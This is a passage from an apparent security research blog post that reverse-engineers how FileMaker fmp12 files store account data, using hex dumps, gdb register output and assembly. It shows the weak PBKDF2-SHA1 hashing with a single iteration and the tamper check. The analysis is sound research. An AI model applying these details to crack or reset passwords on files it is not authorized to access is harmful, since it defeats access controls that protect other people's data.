&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case &lt;code&gt;0x06&lt;/code&gt; would be the code for a key-value pair.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x10&lt;/code&gt; would be the key, and &lt;code&gt;0x05&lt;/code&gt; the length of the data for this key.&lt;/p&gt;
&lt;p&gt;Looking at the next 5 bytes (length), we have &lt;code&gt;0x1b 0x3e 0x37 0x33 0x34&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Performing an XOR operation with each byte and the constant &lt;code&gt;0x5a&lt;/code&gt; as explained above, we get:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x1B ^ 0x5A = 0x41, 0x3E ^ 0x5A = 0x64, ..., 0x34 ^ 0x5A = 0x6E
0x41 = ASCII &amp;#34;A&amp;#34;, 0x64 = &amp;#34;d&amp;#34;, ... 0x6E = &amp;#34;n&amp;#34;
&amp;#34;Admin&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So the example above would store the string &lt;code&gt;Admin&lt;/code&gt; with key &lt;code&gt;0x10&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="path-operation-example"&gt;Path operation example&lt;/h3&gt;
&lt;p&gt;As mentioned before, the payload also contains op-codes for &lt;code&gt;PUSH&lt;/code&gt; and &lt;code&gt;POP&lt;/code&gt; operations. Let&amp;rsquo;s look at an example and assume the current path is &lt;code&gt;17.1&lt;/code&gt; (arbitrary for this example):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x40 0x40 0x20 0x17 0x80 0x20 0x01 0x80 0x20 0x01
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We start by looking at the first byte, determine it&amp;rsquo;s a &lt;code&gt;POP&lt;/code&gt; operation and thus pop off the &lt;code&gt;1&lt;/code&gt; of our example path, leaving only &lt;code&gt;17&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another &lt;code&gt;POP&lt;/code&gt; operation (second byte) also pops off the &lt;code&gt;17&lt;/code&gt;, leaving us with an empty path.&lt;/p&gt;
&lt;p&gt;The third byte is the op-code for a &lt;code&gt;PUSH&lt;/code&gt; operation with the value &lt;code&gt;0x17&lt;/code&gt;. So we push &lt;code&gt;0x17&lt;/code&gt;, or &lt;code&gt;23&lt;/code&gt; in decimal, onto the path (not to be confused with the decimal &lt;code&gt;17&lt;/code&gt; in the beginning).&lt;/p&gt;
&lt;p&gt;The fourth byte is a &lt;code&gt;NOP&lt;/code&gt;, a no-operation instruction. Thus, nothing changes.&lt;/p&gt;
&lt;p&gt;Then, we continue with another &lt;code&gt;PUSH&lt;/code&gt; of the value &lt;code&gt;1&lt;/code&gt;, meaning our path becomes &lt;code&gt;23.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We continue in the same way as before and eventually arrive at a path of &lt;code&gt;23.1.1&lt;/code&gt;. Here is a list of the instructions in less verbose form:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x40: POP one off path -&amp;gt; 17
0x40: POP one off path -&amp;gt; empty
0x20 0x17: PUSH 0x17 -&amp;gt; 23
0x80: NOP -&amp;gt; 23
0x20 0x01: PUSH 0x01 -&amp;gt; 23.1
0x80: NOP -&amp;gt; 23.1
0x20 0x01: PUSH 0x01 -&amp;gt; 23.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the key-value pair from the previous example would follow, it would have the path &lt;code&gt;23.1.1.16&lt;/code&gt; (16, or &lt;code&gt;0x10&lt;/code&gt;, being the key).&lt;/p&gt;
&lt;h2 id="how-do-we-get-to-the-accounts"&gt;How do we get to the accounts?&lt;/h2&gt;
&lt;p&gt;With the information given so far we are able to write a simpler parser for any fmp12 file (assuming we have knowledge of all byte-codes used in the file).&lt;/p&gt;
&lt;p&gt;How does this help us learn more about the stored accounts and passwords? We can open a few sample files and check where account names, such as &lt;code&gt;Admin&lt;/code&gt;, are stored, then note down their path (we know the account names to search for as we are parsing our own files).&lt;/p&gt;
&lt;p&gt;What we find is that account information is generally stored at path &lt;code&gt;23.1.5.N&lt;/code&gt;, where &lt;code&gt;N&lt;/code&gt; is the account number. So the first account would be in &lt;code&gt;23.1.5.1&lt;/code&gt;, the second account in &lt;code&gt;23.1.5.2&lt;/code&gt;, and so on. The parent path &lt;code&gt;23.1.5&lt;/code&gt; always stays the same.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that you don&amp;rsquo;t need any account/password if all you want is to read some data from a file. But we want to find out how much accounts protect a local file from being accessed the &amp;ldquo;normal&amp;rdquo; way and if passwords can easily be reset.
&lt;/div&gt;

&lt;p&gt;Where exactly is the name stored and what else is &amp;ldquo;nearby&amp;rdquo;? Let&amp;rsquo;s have a look at a chunk of a payload:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]

00008190: 020e fc03 0908 9fa1 5b80 0596 6aa0 4020 ........[...j.@
000081a0: 0280 0604 1005 407c dc76 b7f1 fd29 ac5a ......@|.v...).Z
000081b0: 9c79 1af6 b806 063b 0104 72b2 e83c 04a8 .y.....;..r..&amp;lt;..
000081c0: bd2b fe3c bc1f 3d1f 0b69 df8e 93c6 542e .+.&amp;lt;..=..i....T.
000081d0: 4786 01b0 5d26 1d38 cead d523 0fc1 62a5 G...]&amp;amp;.8...#..b.
000081e0: 6dfa e831 7a99 0ad9 82a8 8efe 9a83 92a5 m..1z...........
000081f0: 0e71 3f06 0a09 089f a15b 8005 9674 3002 .q?......[...t0.
00008200: 0b01 0106 1005 1b3e 3733 3420 5d80 2800 .......&amp;gt;734 ].(.
00008210: 0080 2011 8020 1880 4040 4040 06d8 1071 .. .. ..@@@@...q

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add some color to better identify the byte-codes (red), the arguments/keys/lengths (green) and the actual data (blue). The account name &amp;ldquo;Admin&amp;rdquo; (XORed) is highlighted in blue.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Account information in payload" loading="lazy" src="https://davidhamann.de/images/fmp12-account-storage.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Parsing this payload would look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==&amp;gt; 05407cdc76b7f1fd29ac5a9c791af6b8

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==&amp;gt; 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==&amp;gt; 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==&amp;gt; 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==&amp;gt; 1b3e373334 ===&amp;gt; (&amp;#34;Admin&amp;#34; XORed with 0x5a)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By looking at the values while performing account changes (for example via FileMaker Pro) we can draw some conclusions and make assumptions.&lt;/p&gt;
&lt;p&gt;The account name is always stored with key &lt;code&gt;16&lt;/code&gt; or &lt;code&gt;0x10&lt;/code&gt;, and XORed with &lt;code&gt;0x5a&lt;/code&gt; (just like the other data).&lt;/p&gt;
&lt;p&gt;The value at key &lt;code&gt;0x04&lt;/code&gt; (&lt;code&gt;05407cdc76b7f1fd29ac5a9c791af6b8&lt;/code&gt;) has a fixed length of 16 bytes and the value completely changes when changing an account password (or other account information for that matter). Given the length of 16 bytes and its behavior, we can make the assumption that this could potentially be an MD5 hash.&lt;/p&gt;
&lt;p&gt;The 59-byte long value at key &lt;code&gt;0x06&lt;/code&gt; (&lt;code&gt;010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f&lt;/code&gt;) also changes when we change an account password. Two things stand out here, though: the length always changes (even for the same password), and the first byte is always &lt;code&gt;0x01&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hint: for the rest of this blog post we will mostly talk about these two values (key &lt;code&gt;0x04&lt;/code&gt; and &lt;code&gt;0x06&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="what-to-do-with-this-information"&gt;What to do with this information?&lt;/h2&gt;
&lt;p&gt;To make further progress, we have three options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Continue to make slight changes to the file via FileMaker Pro, and observe how these changes are represented in the file&lt;/li&gt;
&lt;li&gt;Open the file with any kind of application designed to read fmp12 files (e.g. FileMaker Pro, Server, FMMigrationTool, &amp;hellip;), attach a debugger and read some assembly code&lt;/li&gt;
&lt;li&gt;Just YOLO it, start changing some bytes in the file and see what happens 🤞&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As professionals, we obviously choose option 3 ;-)&lt;/p&gt;
&lt;p&gt;So what happens when we, for example, just change the account name at path &lt;code&gt;23.1.5.2.16&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Can we still open the file?&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tamper alert" loading="lazy" src="https://davidhamann.de/images/tamper-alert.png"&gt;&lt;/p&gt;
&lt;p&gt;I guess that&amp;rsquo;s what you get when you change stuff without really knowing what&amp;rsquo;s up :-)&lt;/p&gt;
&lt;h2 id="lessons-learned-so-far"&gt;Lessons learned so far&lt;/h2&gt;
&lt;p&gt;We might not have succeeded yet, but the failures and observations gave us new insight:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we modify an account name, we get a tamper alert&lt;/li&gt;
&lt;li&gt;If we modify any of the potential hashes nearby, we get a tamper alert&lt;/li&gt;
&lt;li&gt;If we modify a buch of other stuff in the file, we get a tamper alert&lt;/li&gt;
&lt;li&gt;Given the above points, we can assume that there&amp;rsquo;s likely a checksum of all the account information&lt;/li&gt;
&lt;li&gt;We learned that accounts generally have the same parent path &lt;code&gt;23.1.5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We learned that the 16-byte value at key &lt;code&gt;0x04&lt;/code&gt; has a fixed length and changes when the password is changed&lt;/li&gt;
&lt;li&gt;We learned that the 59-byte value at key &lt;code&gt;0x06&lt;/code&gt; has a variable length and changes when the password is changed (with the exception of the first byte, which is always &lt;code&gt;0x01&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="time-for-some-debugging"&gt;Time for some debugging&lt;/h2&gt;
&lt;p&gt;It seems, to make progress, we have to see what is actually going on (what algorithm is used? is there a salt value? &amp;hellip;) in a program that can read fmp12 files.&lt;/p&gt;
&lt;p&gt;As explained in last year&amp;rsquo;s post about deciphering the &lt;a href="https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/"&gt;FileMaker keystore&lt;/a&gt;, the easiest way to find a starting point of where to look inside the program is to dump the symbol table and then set breakpoints at interesting locations of the program.&lt;/p&gt;
&lt;p&gt;We will use &lt;code&gt;gdb&lt;/code&gt; as the debugger and the &lt;code&gt;FMDataMigration&lt;/code&gt; tool as the target. Being able to pass an account name and password directly on the command line is more convenient than debugging a UI application (FileMaker Pro).&lt;/p&gt;
&lt;p&gt;As target for the migration tool we choose any sample file of which we know the account and password. Launching the debugger could look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gdb --args FMDataMigration -src_path /path/to/source/test.fmp12 -src_account Admin -src_pwd whatever -clone_path /path/to/clone/test\ Clone.fmp12 -clone_account Admin -clone_pwd whatever -target_path /path/to/migrated/test.fmp12 -force
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that we pass &lt;code&gt;Admin&lt;/code&gt; as account name, and &lt;code&gt;whatever&lt;/code&gt; as password.&lt;/p&gt;
&lt;h2 id="figuring-out-the-password-hash"&gt;Figuring out the password hash&lt;/h2&gt;
&lt;p&gt;Looking at the known function names (dumping symbols), we can note down everything that could be related to password hashing/reading/writing, then set breakpoints at these locations.&lt;/p&gt;
&lt;p&gt;One very obvious function to start with is &lt;code&gt;Draco::PasswordHash::ComputePasswordHash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can set a breakpoint, then (for every call) look up the arguments passed to the function and then see if we can make sense of any of them (for example, if the values also show up in the fmp12 file).&lt;/p&gt;
&lt;p&gt;I debugged the application on a Linux machine on x86_64, so based on the &lt;a href="https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf"&gt;calling conventions&lt;/a&gt; the first arguments are generally passed in registers &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="values-passed-to-computepasswordhash"&gt;Values passed to ComputePasswordHash&lt;/h3&gt;
&lt;p&gt;Once a breakpoint has been triggered, we can look at the register values:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg

rcx 0x7ffff75529e0 # static known string (starts with &amp;#34;File&amp;#34; :-))

rdx 0xa # length of value of address pointed to by rsi (10 bytes)

rsi 0x7fffffffa0d9 # points to value we saw at path 23.1.5.2.6
 # 01===&amp;gt;0472b2e83c04a8bd2bfe&amp;lt;===3cbc1f..8efe9a8392a50e713f

rdi 0x7fffffffb2c0 # points to pointer where given password is stored
 # (char16, 2-byte chars)

r8 0x1e # length of value in rcx (30 bytes)

r9 0x1 # value of 1

+ some values on the stack
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As commented above, we see several interesting values. &lt;code&gt;rdi&lt;/code&gt; points to the password we passed in as command line argument (as 16-bit characters). &lt;code&gt;rsi&lt;/code&gt; points to a part of the 59-byte value previously seen in the file at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;. Assuming the next argument (&lt;code&gt;rdx&lt;/code&gt;) is the length, we can read 10 bytes from &lt;code&gt;rsi&lt;/code&gt; and get &lt;code&gt;0472b2e83c04a8bd2bfe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rcx&lt;/code&gt; points to a constant string which starts with &lt;code&gt;File&lt;/code&gt; (hint, hint), but has a length of 30 bytes (&lt;code&gt;r8&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;r9&lt;/code&gt; contains &lt;code&gt;0x01&lt;/code&gt; which may or may not be relevant to what we are trying to find out. We note it down in any case.&lt;/p&gt;
&lt;h3 id="what-do-we-know-so-far"&gt;What do we know so far?&lt;/h3&gt;
&lt;p&gt;While not certain, we can make an assumption that the first 10 bytes after the &lt;code&gt;0x01&lt;/code&gt; is the salt value (as storing it next to a password hash would make sense). To clarify, looking at the 59-byte byte-sequence from above, the 10-bytes are these:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 --&amp;gt; 0472b2e83c04a8bd2bfe &amp;lt;-- 3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have discovered a 30-byte constant value that seems to be somehow incorporated into the password hash computation (an assumption made based on the passed values).&lt;/p&gt;
&lt;p&gt;We have also discovered a constant value of &lt;code&gt;0x01&lt;/code&gt; which might be relevant to the hash.&lt;/p&gt;
&lt;p&gt;And we have found out that the clear password which we pass on the command line ends up being passed to the &lt;code&gt;ComputePasswordHash&lt;/code&gt; function as well.&lt;/p&gt;
&lt;h3 id="digging-deeper"&gt;Digging deeper&lt;/h3&gt;
&lt;p&gt;We know the input to the function. But what exactly happens &lt;em&gt;within&lt;/em&gt; it?&lt;/p&gt;
&lt;p&gt;To figure this out let&amp;rsquo;s have a closer look at one of the loops in that function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
0x00007ffff4c328f4 &amp;lt;+132&amp;gt;: div %r13d
0x00007ffff4c328f7 &amp;lt;+135&amp;gt;: movzbl (%r14,%rdx,1),%ebx
0x00007ffff4c328fc &amp;lt;+140&amp;gt;: shl $0x8,%ebx
0x00007ffff4c328ff &amp;lt;+143&amp;gt;: lea 0x1(%rcx),%eax
0x00007ffff4c32902 &amp;lt;+146&amp;gt;: xor %edx,%edx
0x00007ffff4c32904 &amp;lt;+148&amp;gt;: div %r13d
0x00007ffff4c32907 &amp;lt;+151&amp;gt;: movzbl (%r14,%rdx,1),%eax
0x00007ffff4c3290c &amp;lt;+156&amp;gt;: or %ebx,%eax
 ===&amp;gt; 0x00007ffff4c3290e &amp;lt;+158&amp;gt;: xor (%rdi,%rbp,2),%ax &amp;lt;===
0x00007ffff4c32912 &amp;lt;+162&amp;gt;: rol $0x8,%ax
0x00007ffff4c32916 &amp;lt;+166&amp;gt;: mov %ax,(%rdi,%rbp,2)
0x00007ffff4c3291a &amp;lt;+170&amp;gt;: add $0x2,%ecx
0x00007ffff4c3291d &amp;lt;+173&amp;gt;: mov %esi,%ebp
0x00007ffff4c3291f &amp;lt;+175&amp;gt;: add $0x1,%esi
0x00007ffff4c32922 &amp;lt;+178&amp;gt;: cmp %rbp,%r9
0x00007ffff4c32925 &amp;lt;+181&amp;gt;: ja 0x7ffff4c328f0
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking at the assembly code, we can identify an XOR operation (shown with arrows above) with two 16-bit values. Calculating both the effective memory address and looking up the value in &lt;code&gt;ax&lt;/code&gt; (lower 16 bits of &lt;code&gt;rax&lt;/code&gt;), we can see that in the first iteration the values are &lt;code&gt;0x77 0x00&lt;/code&gt; (little endian) and &lt;code&gt;0x46 0x69&lt;/code&gt;, respectively.&lt;/p&gt;
&lt;p&gt;Looking up the ASCII character for &lt;code&gt;0x0077&lt;/code&gt;, we can identify it as &lt;code&gt;w&lt;/code&gt; – the first character (zero-extended to 16-bits) of our &lt;code&gt;whatever&lt;/code&gt; password.&lt;/p&gt;
&lt;p&gt;Doing the same for &lt;code&gt;0x46&lt;/code&gt; and &lt;code&gt;0x69&lt;/code&gt;, we arrive at &lt;code&gt;Fi&lt;/code&gt;, the first two characters (1 byte each, so also 2 bytes/16-bits) of the constant string we saw earlier.&lt;/p&gt;
&lt;p&gt;The result of the XOR operation is thus &lt;code&gt;0x0077 ^ 0x4669 = 0x461e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Continuing for the whole length of the password, we arrive at a new sequence of bytes that we note down for later.&lt;/p&gt;
&lt;h3 id="looking-at-additional-calls"&gt;Looking at additional calls&lt;/h3&gt;
&lt;p&gt;Inspecting the function further we see two interesting calls:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; ===&amp;gt; 0x00007ffff4c3294e &amp;lt;+222&amp;gt;: callq 0x7ffff4c08b30 &amp;lt;EVP_sha1@plt&amp;gt; &amp;lt;===
0x00007ffff4c32953 &amp;lt;+227&amp;gt;: mov 0x70(%rsp),%rbp
0x00007ffff4c32958 &amp;lt;+232&amp;gt;: mov 0x10(%rsp),%rdi
0x00007ffff4c3295d &amp;lt;+237&amp;gt;: mov 0x18(%rsp),%esi
0x00007ffff4c32961 &amp;lt;+241&amp;gt;: add %esi,%esi
0x00007ffff4c32963 &amp;lt;+243&amp;gt;: mov 0x8(%rbp),%ebx
0x00007ffff4c32966 &amp;lt;+246&amp;gt;: mov %r12,%rdx
0x00007ffff4c32969 &amp;lt;+249&amp;gt;: mov %r15d,%ecx
0x00007ffff4c3296c &amp;lt;+252&amp;gt;: mov 0xc(%rsp),%r8d
0x00007ffff4c32971 &amp;lt;+257&amp;gt;: mov %rax,%r9
0x00007ffff4c32974 &amp;lt;+260&amp;gt;: pushq 0x0(%rbp)
0x00007ffff4c32977 &amp;lt;+263&amp;gt;: push %rbx
 ===&amp;gt; 0x00007ffff4c32978 &amp;lt;+264&amp;gt;: callq 0x7ffff4c087e0 &amp;lt;PKCS5_PBKDF2_HMAC@plt&amp;gt; &amp;lt;===
0x00007ffff4c3297d &amp;lt;+269&amp;gt;: add $0x10,%rsp
0x00007ffff4c32981 &amp;lt;+273&amp;gt;: mov 0x10(%rsp),%rdi
0x00007ffff4c32986 &amp;lt;+278&amp;gt;: lea 0x20(%rsp),%rax
0x00007ffff4c3298b &amp;lt;+283&amp;gt;: cmp %rax,%rdi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The two highlighted functions are from the OpenSSL library.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/man1.1.1/man3/EVP_sha1.html"&gt;EVP_sha1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/manmaster/man3/PKCS5_PBKDF2_HMAC.html"&gt;PKCS5_PBKDF2_HMAC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the library is open source, we can look up code and documentation and know for sure what arguments are expected to be passed to these functions.&lt;/p&gt;
&lt;p&gt;So just like before, we can set a breakpoint at the key derivation function PBKDF2 (explained in more detail &lt;a href="https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/"&gt;in my other post&lt;/a&gt;) and look at the registers again to see what values are being passed.&lt;/p&gt;
&lt;p&gt;This is the function signature:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 const EVP_MD *digest,
 int keylen, unsigned char *out);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And these are the register values when calling the function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg
rax 0x7ffff34b47e0 140737275185120
rbx 0x14 20
rcx 0xa # length of salt (10 bytes)
rdx 0x7fffffffa0d9 # points to 10 byte (rcx) salt (now confirmed) 0x04 0x72 ... (x/10xb $rdx)
rsi 0x10 # length of xored password (16 bytes)
rdi 0x60a38220 # points to 16 (rsi) bytes of XORed password 0x46 0x1e ... (x/16xb $rdi)
rbp 0x7fffffffa350 0x7fffffffa350
rsp 0x7fffffffa038 0x7fffffffa038
r8 0x1 # the value of 1 seen before, the iteration count
r9 0x7ffff34b47e0 # points to SHA1 context

On stack: keylen of 20 and address for out
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I commented each relevant register value above. To summarize it again:&lt;/p&gt;
&lt;p&gt;We pass in our XORed password (&lt;code&gt;rdi&lt;/code&gt;) from above. The value for the &lt;code&gt;salt&lt;/code&gt; argument (&lt;code&gt;rdx&lt;/code&gt;) is the 10 bytes we identified earlier (so it&amp;rsquo;s now confirmed that it indeed is a salt value), an iteration count (&lt;code&gt;r8&lt;/code&gt;) of 1 (the &lt;code&gt;0x01&lt;/code&gt; value we saw earlier), and a pointer to the SHA1 hashing function (&lt;code&gt;r9&lt;/code&gt;) (we saw it being initialized above). Additionally, a desired key length of 20 and an address for the output is passed.&lt;/p&gt;
&lt;p&gt;Letting this function run and observing the result written to &lt;code&gt;*out&lt;/code&gt; we can see that it is exactly the 20 bytes after the previously identified salt value in the 59-byte long sequence of bytes at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="summary-so-far"&gt;Summary so far&lt;/h3&gt;
&lt;p&gt;Of the value at &lt;code&gt;23.1.5.2.6&lt;/code&gt; we now know the following components:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--&amp;gt; Still unknwon
| | +--&amp;gt; The 20-byte derived key / password hash
| +--&amp;gt; The 10-byte salt value
+--&amp;gt; Always 1; we could assume that this is some sort of version number, in case the algorithm changes in the future
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To arrive at this result, we saw that we have to have the password (&lt;code&gt;char16&lt;/code&gt;), a salt and a fixed value.&lt;/p&gt;
&lt;p&gt;In a loop, we XOR the password with the fixed value.&lt;/p&gt;
&lt;p&gt;We then feed the XOR result into &lt;code&gt;PBKDF2&lt;/code&gt; with a &lt;code&gt;SHA1&lt;/code&gt; digest function.&lt;/p&gt;
&lt;p&gt;And out comes the hash that is being stored in the fmp12 file.&lt;/p&gt;
&lt;h2 id="figuring-out-the-variable-length-checksum"&gt;Figuring out the variable-length &amp;ldquo;checksum&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;So what is the still unknown part of this 59-byte sequence? And why does it change in length every time we change a password?&lt;/p&gt;
&lt;p&gt;To figure this out, we have dig into another function called &lt;code&gt;Draco::DBPassword::Read&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
0x00007ffff5e61aeb &amp;lt;+459&amp;gt;: mov $0x1,%edx
0x00007ffff5e61af0 &amp;lt;+464&amp;gt;: movzbl 0x1a(%rsp,%rdx,1),%ebx
 ===&amp;gt; 0x00007ffff5e61af5 &amp;lt;+469&amp;gt;: xor 0x10(%rsp,%rdx,1),%bl &amp;lt;===
0x00007ffff5e61af9 &amp;lt;+473&amp;gt;: movzbl 0x2e(%rsp,%rdx,1),%ecx
0x00007ffff5e61afe &amp;lt;+478&amp;gt;: cmp %bl,%cl
0x00007ffff5e61b00 &amp;lt;+480&amp;gt;: sete %al
0x00007ffff5e61b03 &amp;lt;+483&amp;gt;: cmp %rsi,%rdx
0x00007ffff5e61b06 &amp;lt;+486&amp;gt;: jae 0x7ffff5e61b14
0x00007ffff5e61b08 &amp;lt;+488&amp;gt;: add $0x1,%rdx
 ===&amp;gt; 0x00007ffff5e61b0c &amp;lt;+492&amp;gt;: cmp %bl,%cl &amp;lt;===
0x00007ffff5e61b0e &amp;lt;+494&amp;gt;: je 0x7ffff5e61af0
0x00007ffff5e61b10 &amp;lt;+496&amp;gt;: jmp 0x7ffff5e61b14
0x00007ffff5e61b12 &amp;lt;+498&amp;gt;: and %cl,%al
0x00007ffff5e61b14 &amp;lt;+500&amp;gt;: test %al,%al
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we see again a XOR operation in a loop. And if we look at the values in memory and the register for each iteration, we will find that each byte of the password hash is XORed with each byte of the salt value.&lt;/p&gt;
&lt;p&gt;Looking at the result, we see that it matches the previously unknown remainder of the 59-byte sequence mentioned earlier.&lt;/p&gt;
&lt;p&gt;We also see that every &lt;strong&gt;computed&lt;/strong&gt; byte (XOR result) is compared to the &lt;strong&gt;stored&lt;/strong&gt; byte – so any variation between stored and computed will likely trigger the tamper alert.&lt;/p&gt;
&lt;p&gt;Visualizing the first few operations of this loop:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 | | | | | | ^ ^ ^
 | | | | | | | | |
 | | | | | | | | |
 | | | | | | | | |
 | | | v | | | | |
 +-|-|---&amp;gt; xor(0x04, 0x3c) = 0x38 ---------------------------+ | |
 | | | | | |
 | | v | | |
 +-|-----&amp;gt; xor(0x72, 0xbc) = 0xce ---------------------------+ |
 | | |
 | v |
 +-------&amp;gt; xor(0xb2, 0x1f) = 0xad ---------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You might be wondering how you can XOR salt and password if they differ in length. What actually happens is XOR(salt + password, password), with the password being extended by the XOR result as the loop progresses.&lt;/p&gt;
&lt;h3 id="why-variable-length"&gt;Why variable length?&lt;/h3&gt;
&lt;p&gt;What we don&amp;rsquo;t yet understand is why the XOR byte-sequence has a variable length, i.e. is often truncated.&lt;/p&gt;
&lt;p&gt;The answer is to be found in yet another function: &lt;code&gt;Draco::DBUserAccount::MatchPasswordData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Setting a breakpoint, running the program and taking a closer look, we can see the following instructions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x00007ffff5e63901 &amp;lt;+225&amp;gt;: movzbl 0x28c(%rsp),%esi
0x00007ffff5e63909 &amp;lt;+233&amp;gt;: and $0x1f,%esi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By calculating the effective memory address and inspecting the source of the value being moved into &lt;code&gt;esi&lt;/code&gt;, we can observe that it always takes the second byte of the password hash:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 |
 +--&amp;gt; 0xbc is the second byte of the password hash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What follows is a bitwise AND instruction with inputs &lt;code&gt;0x1f&lt;/code&gt; and the value in &lt;code&gt;esi&lt;/code&gt; (&lt;code&gt;0xbc&lt;/code&gt; in this case).&lt;/p&gt;
&lt;p&gt;The bitwise AND operation performs a logical AND on every bit-pair of the two input bytes. If both values of a pair are &lt;code&gt;1&lt;/code&gt;, the result is &lt;code&gt;1&lt;/code&gt;, otherwise &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; 00011111 &amp;lt;=== 0x1f
AND 10111100 &amp;lt;=== 0xbc
 --------
 00011100 = 0x1c = 28
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;code&gt;0x1f&lt;/code&gt; is fixed, the largest value that can come out of this is &lt;code&gt;0x1f&lt;/code&gt;, or 31, itself.&lt;/p&gt;
